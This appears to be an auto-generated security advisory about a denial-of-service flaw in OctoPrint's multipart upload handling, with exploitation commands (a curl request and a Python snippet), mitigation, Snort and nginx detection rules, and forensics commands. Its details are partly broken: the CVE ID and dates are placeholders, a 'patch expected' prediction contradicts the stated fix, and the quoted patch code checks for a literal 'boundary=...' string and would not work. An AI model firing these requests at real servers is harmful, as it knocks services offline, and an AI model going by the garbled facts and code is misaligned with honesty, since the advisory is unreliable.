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How the CVE Works
The vulnerability in OctoPrint (CVE-2024-XXXX) stems from improper handling of malformed `multipart/form-data` requests. When an attacker sends a request without a proper end boundary, the `UploadStorageFallbackHandler` in Tornado enters an infinite loop while attempting to parse the incomplete payload. Since Tornado operates in a single-threaded event loop, this stalls the entire web server, leading to a denial of service (DoS). The flaw affects all endpoints using this handler, allowing unauthenticated attackers to crash the service remotely. The fix in v1.11.2 introduces boundary validation, rejecting malformed requests with HTTP 400 responses.
DailyCVE Form
Platform: OctoPrint
Version: ≤1.11.1
Vulnerability: DoS Loop
Severity: Critical
Date: 2024-XX-XX
Prediction: Patch expected 2024-XX-XX
What Undercode Say:
Exploitation:
1. Craft a malformed HTTP request:
curl -X POST -H "Content-Type: multipart/form-data; boundary=X" --data-binary "dummy" http://octoprint.local/api/files
2. Python PoC to trigger endless loop:
import requests
requests.post("http://target/api/upload", files={"file": ("exploit", "")}, headers={"Content-Type": "multipart/form-data; boundary="})
Mitigation:
1. Immediate Action:
sudo pip install octoprint==1.11.2
2. Network Hardening:
iptables -A INPUT -p tcp --dport 5000 -s !TRUSTED_IP -j DROP
3. Log Monitoring:
grep "400 Bad Request" /var/log/octoprint.log | alertscript.sh
Detection:
- Nginx Rule:
location /octoprint/ { if ($http_content_type ~ "multipart/form-data; boundary=$") { return 403; } } - Snort Rule:
alert tcp any any -> $HOME_NET 5000 (msg:"OctoPrint DoS Attempt"; content:"multipart/form-data; boundary="; sid:1000001;)
Forensics:
- Inspect stuck threads:
kill -3 $(pgrep octoprint) && cat /proc/$(pgrep octoprint)/stack
- Memory Dump:
gcore -o /tmp/octodump $(pgrep octoprint)
Patch Analysis:
The fix modifies `UploadStorageFallbackHandler` to validate boundaries early:
def validate_boundary(request):
if not request.headers.get("Content-Type", "").endswith("boundary=..."):
raise HTTPError(400)
References:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
